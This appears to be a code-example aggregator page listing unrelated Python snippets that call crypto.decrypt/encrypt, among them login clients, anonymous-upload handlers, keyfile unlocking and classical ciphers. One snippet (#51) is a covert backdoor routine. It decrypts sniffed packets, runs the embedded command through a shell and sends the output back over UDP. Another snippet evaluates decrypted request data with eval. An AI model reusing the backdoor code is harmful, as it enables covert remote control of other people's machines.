        valid = crypto.verify_RSA(public, sign, data)
        print "Valid: ", valid
        assert(valid)
    except AssertionError  as e:
        print "Data invalid"
        return
    # generate the AES decryption key and decrypt
    salt = "a"*16
    s = str(cap[1] + salt)
    hashed_key = crypto.my_hash(s)
    ptext = crypto.decrypt(data, hashed_key[:16])   
    txt = ptext.find(SPLIT_SYMBOL)
    return ptext[:txt]
Пример #45
0
	def login(self, username, password):
		encrypted = crypto.encrypt(password, username)
		message = "LOGIN: "******"\n" + encrypted
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((self.HOST_as, self.PORT_as))
		s.send(message)
		data = s.recv(2048)
		lines = data.splitlines()
		self.sessionKey = crypto.decrypt(password, lines[0])
		self.ticket = lines[1]
		self.loggedIn = True
Пример #46
0
 def decrypt(self, message):
     # If the private key is loaded
     if self.privateKey != False:
         # Decrypt the message
         decryptedMessage = crypto.decrypt(message, self.privateKey)
         # If decryption succeded then change the message
         # If it failed then the message was proably not encrypted
         if decryptedMessage != False:
             # Make sure the message is a dict or list if applicable
             message = comms.load(decryptedMessage)
     return message
 def xmlrpc_delete(self, data, options, callbackURL, fieldName=''):
     try:
         key = decrypt(b64decode(data['key']), self.master.config['secret'])
         data = eval(key, {"__builtins__": None}, {})
         assert data.__class__ is dict
         bits = str((data['uid'], data['fieldName']))
         encoded_key = b64encode(encrypt(bits, self.master.config['secret']))
         data['url'] += '?' + urllib.urlencode({'key': encoded_key})
     except Exception, e:
         print "Invalid delete request: %s" % e
         return "ERROR: Unauthorized"
Пример #48
0
def _decrypt_rep(data, key, spec, enc_spec, msg_type):
    rep = decode(data, asn1Spec=spec)[0]
    rep_enc = str(rep['enc-part']['cipher'])
    rep_enc = decrypt(key[0], key[1], msg_type, rep_enc)

    # MAGIC
    if rep_enc[:20] == '31337313373133731337':
        return rep_enc[20:22], None

    rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0]

    return rep, rep_enc
Пример #49
0
def handler(client,addr):
    data = client.recv(buf)
    lines = data.splitlines()
    print lines
    sessionKey = crypto.decrypt(ds_pass, lines[1])
    msg = crypto.decrypt(sessionKey, lines[0])
    print msg
    if msg[:4] == 'HELO':
        client.send(str(msg) +"IP:52.16.255.69\nPort: " + str(port) +"\nStudentID: aa3e68899f9a879f8408b5af0bec24991f35aa22398b70458a8239e15bb29b93\n")
    if msg[:12] == "KILL_SERVICE":
        os._exit(0)
    if msg[:4] == 'READ':
        getAddress(msg[6:], client, False)
    if msg[:4] == 'OPEN':
        getAddress(msg[6:], client, True)
    if msg[:5] == 'CRASH':
        removeServer(int(msg[7:]))
    if msg[:5] == 'ALIVE':
        reviveServer(int(msg[7:]))
   
    print "close"
    client.close()
Пример #50
0
def get_keyfile_data():
    """Prompts the user for their password, decrypts their keyfile and returns
    its contents -- effectively returns the encryption key for all of the
    encrypted entry files in ~/.jpass.
    """
    keyfile_data = ""
    while not keyfile_data:
        password = get_password(confirm_prompt="")
        try:
            keyfile_data = crypto.decrypt(password, SECRET_KEYFILE_PATH)
        except crypto.CryptoError:
            print "Failed to unlock keyfile; bad password?"
    return keyfile_data
Пример #51
0
def runCommand(packet):
  encryptedData = packet['Raw'].load
  data = crypto.decrypt(encryptedData)
  # make sure the data starts with the authString, otherwise it isn't a packet
  # meant for our backdoor and we shouldn't process it
  if data.startswith(authString):
    data = data[len(authString):]
    print "Running command " + data
    output = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output = authString + output.stdout.read() + output.stderr.read()
    encryptedOutput = crypto.encrypt(output)
    packet = IP(dst=packet[0][1].src)/UDP(dport=int(args.sourcePort), sport=int(args.destPort))/Raw(load=encryptedOutput)
    time.sleep(0.1)
    send(packet, verbose=0)
Пример #52
0
def store_endpoint(i):
  sid = crypto.shash(i.id)
  loc = store.path(sid)
  if not os.path.exists(loc): raise web.notfound()
  
  received = False
  
  if i.action == 'upload':
    if i.msg:
      loc1 = store.path(sid, '%.2f_msg.gpg' % (uuid.uuid4().int, ))
      crypto.encrypt(config.JOURNALIST_KEY, i.msg, loc1)
      received = 2
      
    if not isinstance(i.fh, dict) and i.fh.done != -1 and i.fh.filename:
      # we put two zeroes here so that we don't save a file 
      # with the same name as the message
      loc2 = store.path(sid, '%.2f_doc.zip.gpg' % (uuid.uuid4().int, ))

      s = cStringIO.StringIO()
      zip_file = zipfile.ZipFile(s, 'w')
      zip_file.writestr(i.fh.filename, i.fh.file.getvalue())
      zip_file.close()
      s.reset()

      crypto.encrypt(config.JOURNALIST_KEY, s, loc2)
      received = i.fh.filename or '[unnamed]'

    if not crypto.getkey(sid):
      background.execute(lambda: crypto.genkeypair(sid, i.id))
  
  elif i.action == 'delete':
    potential_files = os.listdir(loc)
    if i.mid not in potential_files: raise web.notfound()
    assert '/' not in i.mid
    crypto.secureunlink(store.path(sid, i.mid))
  
  msgs = []
  for fn in os.listdir(loc):
    if fn.startswith('reply-'):
      msgs.append(web.storage(
        id=fn,
        date=str(datetime.datetime.fromtimestamp(os.stat(store.path(sid, fn)).st_mtime)),
        msg=crypto.decrypt(sid, i.id, file(store.path(sid, fn)).read())
      ))

  web.header('Cache-Control', 'no-cache, no-store, must-revalidate')
  web.header('Pragma', 'no-cache')
  web.header('Expires', '-1')
  return render.lookup(i.id, msgs, received=received)
Пример #53
0
	def mainSequence():
		while True:
			try:
				print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
				print('Avilable cipher Types: caesar afine viginereOld viginere hills')
				cphr = str(input('Please type in your cipher type: '))
				mssg = str(input('Please type in your message(no spaces): '))
				
				if cphr == 'caesar':
					kys = int(input('Type in your key as a number: '))
				elif cphr == 'afine':
					kys = [0,0]
					kys[0] = int(input('Type In your add. Key: '))
					kys[1] = int(input('Type in your mult. Key: '))
				elif cphr == 'hills':
					kys = [[0,0],[0,0]]
					print( 'matrix    a  b')
					print('           c  d')
					kys[0][0] = int(input("Please type the a matrix key to be given to this task: "))
					kys[1][0] = int(input("Please type the b matrix key to be given to this task: "))
					kys[0][1] = int(input("Please type the c matrix key to be given to this task: "))
					kys[1][1] = int(input("Please type the d matrix key to be given to this task: "))
				elif (cphr == 'viginere') | (cphr == 'viginereOld'):
					kys = str(input('Enter your KeyWord: '))
				den = str(input('Type\nd to decrypt,\ne to encrypt, or\nn for no key decryption if available: '))
			except: 
				print('You made an incorrect input')
			try:
				print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
				if den == 'd':
					print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
					print('Decrypted Message')
					print(str(crypto.decrypt(mssg,kys,cphr)))
					print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
				elif den == 'e':
					print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
					print('Encrypted Message')
					print(str(crypto.encrypt(mssg,kys,cphr)))
					print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
				elif den == 'n':
					print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
					print('Auto decrypted Message')
					print(str(crypto.noKeysDecrypt(mssg,cphr)))
					print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
			except: 
				print('The program encountered an error')
			exitn = str(input('Would you like to exit (y/n): ')).lower()
			if exitn == 'y':
				break
Пример #54
0
def main():

    pub_key = open('/share/projects/development/source/mystic/opt/var/keys/eric.walbridge.pub', 'r')
    prv_key = open('/share/projects/development/source/mystic/opt/var/keys/eric.walbridge.prv', 'r')
    enc_file = open('/share/projects/development/source/mystic/opt/var/files/tmp/test.pdf', 'rb')
    dec_file = open('/share/projects/development/source/mystic/opt/var/files/tmp/test2.pdf', 'wb')
    print ''
    encrypt = crypto.encrypt(enc_file.read(), crypto.random_password(), pub_key.read())
    #print b64encode(encrypt.encrypted_password)
    #print encrypt.data
    #print ''
    decrypt = crypto.decrypt(encrypt.data, encrypt.encrypted_password, prv_key.read(), '0123456789')
    #print decrypt.decrypted_password
    #print b64encode(decrypt.data)
    dec_file.write(decrypt.data)
    print ''
Пример #55
0
def get_handler(arg):
    public = None
    uri = ""
    if arg.cap:
        uri = arg.cap
        cap = uri.split(":")
    else:
        # TODO this should read the current dir to find out the URI for the file
        with open('private/files.txt', "r") as f:
            for line in f:
                ind = line.find(arg.name)
                # here assumes the files have different names
                # TODO check for the same names that are substring of the other
                if ind != -1:
                    key_ind = line.find("|")+1
                    line = line[key_ind:] #splitting the file name from cap
                    cap = line.split(":")
                    uri = cap[0]+":"+cap[1]+":"+cap[2]
                    file_name = arg.name
                    abs_path = os.path.abspath(pjoin('private/keys/', file_name))
                    # check if this file was created by the user
                    # the public key should be in the file we get
                    if os.path.exists(abs_path):
                        with open('private/keys/'+arg.name+"public", "r") as f:
                            public = f.read() 
                    break  #creating the public private keys
    # access the file via the write-cap
    cipher = get_data(uri) 
    data_ar = cipher.split(SPLIT_SYMBOL)
    sign = data_ar[1]
    data = data_ar[0]
    public = data_ar[2]
    
    assert(data_ar[3] == crypto.my_hash(public))

    valid = crypto.verify_RSA(public, sign, data)
    print "Valid: ", valid
    if valid:
        # generate the AES decryption key and decrypt
        salt = "a"*16
        s = str(cap[1] + salt)
        hashed_key = crypto.my_hash(s)
        ptext = crypto.decrypt(data, hashed_key[:16])   
        txt = ptext.find(SPLIT_SYMBOL)
        return ptext[:txt]
    return None
Пример #56
0
def store_endpoint(i):
    sid = crypto.shash(i.id)
    loc = store.path(sid)
    if not os.path.exists(loc):
        raise web.notfound()

    received = False

    if i.action == "upload":
        if i.msg:
            loc1 = store.path(sid, "%.2f_msg.gpg" % (uuid.uuid4().int,))
            crypto.encrypt(config.JOURNALIST_KEY, i.msg, loc1)
            received = 2

        if not isinstance(i.fh, dict) and i.fh.done != -1 and i.fh.filename:
            # we put two zeroes here so that we don't save a file
            # with the same name as the message
            loc2 = store.path(sid, "%.2f_doc.gpg" % (uuid.uuid4().int,))
            crypto.encrypt(config.JOURNALIST_KEY, i.fh.file, loc2, fn=i.fh.filename)
            received = i.fh.filename or "[unnamed]"

        if not crypto.getkey(sid):
            background.execute(lambda: crypto.genkeypair(sid, i.id))

    elif i.action == "delete":
        potential_files = os.listdir(loc)
        if i.mid not in potential_files:
            raise web.notfound()
        assert "/" not in i.mid
        crypto.secureunlink(store.path(sid, i.mid))

    msgs = []
    for fn in os.listdir(loc):
        if fn.startswith("reply-"):
            msgs.append(
                web.storage(
                    id=fn,
                    date=str(datetime.datetime.fromtimestamp(os.stat(store.path(sid, fn)).st_mtime)),
                    msg=crypto.decrypt(sid, i.id, file(store.path(sid, fn)).read()),
                )
            )

    web.header("Cache-Control", "no-cache, no-store, must-revalidate")
    web.header("Pragma", "no-cache")
    web.header("Expires", "-1")
    return render.lookup(i.id, msgs, received=received)
Пример #57
0
    def _handle_msg(self, text):
        '''
        Deal with the raw message contents appropriately:
        - decrypt if necessary
        - verify signature
        Return plain-text message and signer's DN.
        '''
        if text is None or text == '':
            return None, None
#        if not text.startswith('MIME-Version: 1.0'):
#            raise Ssm2Exception('Not a valid message.')
        
        # encrypted - this could be nicer
        if 'application/pkcs7-mime' in text or 'application/x-pkcs7-mime' in text:
            try:
                text = crypto.decrypt(text, self._cert, self._key)
            except crypto.CryptoException, e:
                log.error('Failed to decrypt message: %s' % e)
                return None, None
Пример #58
0
    def POST(self):
        i = web.input('id', fh={}, msg=None, mid=None, action=None)
        sid = crypto.shash(i.id)
        loc = store.path(sid)
        if not os.path.exists(loc): raise web.notfound()
        
        received = False
        
        if i.action == 'upload':
            if i.msg:
                loc1 = store.path(sid, '%s_msg.gpg' % time.time())
                crypto.encrypt(config.JOURNALIST_KEY, i.msg, loc1)
                received = 2
                
            if i.fh.value:
                # we put two zeroes here so that we don't save a file 
                # with the same name as the message
                loc2 = store.path(sid, '%s_doc.gpg' % time.time())
                crypto.encrypt(config.JOURNALIST_KEY, i.fh.file, loc2, fn=i.fh.filename)
                received = i.fh.filename or '[unnamed]'

            if not crypto.getkey(sid):
                background.execute(lambda: crypto.genkeypair(sid, i.id))
        
        elif i.action == 'delete':
            potential_files = os.listdir(loc)
            if i.mid not in potential_files: raise web.notfound()
            assert '/' not in i.mid
            crypto.secureunlink(store.path(sid, i.mid))
        
        msgs = []
        for fn in os.listdir(loc):
            if fn.startswith('reply-'):
                msgs.append(web.storage(
                  id=fn,
                  date=datetime.datetime.fromtimestamp(float(store.cleanname(fn))),
                  msg=crypto.decrypt(sid, i.id, file(store.path(sid, fn)).read())
                ))

        web.header('Cache-Control', 'no-cache, no-store, must-revalidate')
        web.header('Pragma', 'no-cache')
        web.header('Expires', '-1')
        return render.lookup(i.id, msgs, received=received)
Пример #59
0
def decode_message(message_data, secret=None):
    """decode message envelope
    args
    - message_data      encoded message envelope (see encode_message)
    - secret            secret key to decrypt message (if encrypted)

    returns (sender, content, timestamp)
    - sender            message sender
    - content           content string (plaintext)
    - timestamp         datetime instance
    """
    sender = str(message_data['sender'])
    content = base64.urlsafe_b64decode(str(message_data['content']))
    timestamp = datetime(*map(lambda f: int(f), message_data['timestamp-utc']))

    if message_data['encrypted']:
        content = decrypt(content, secret)

    content = json.loads(content)
    return sender, content, timestamp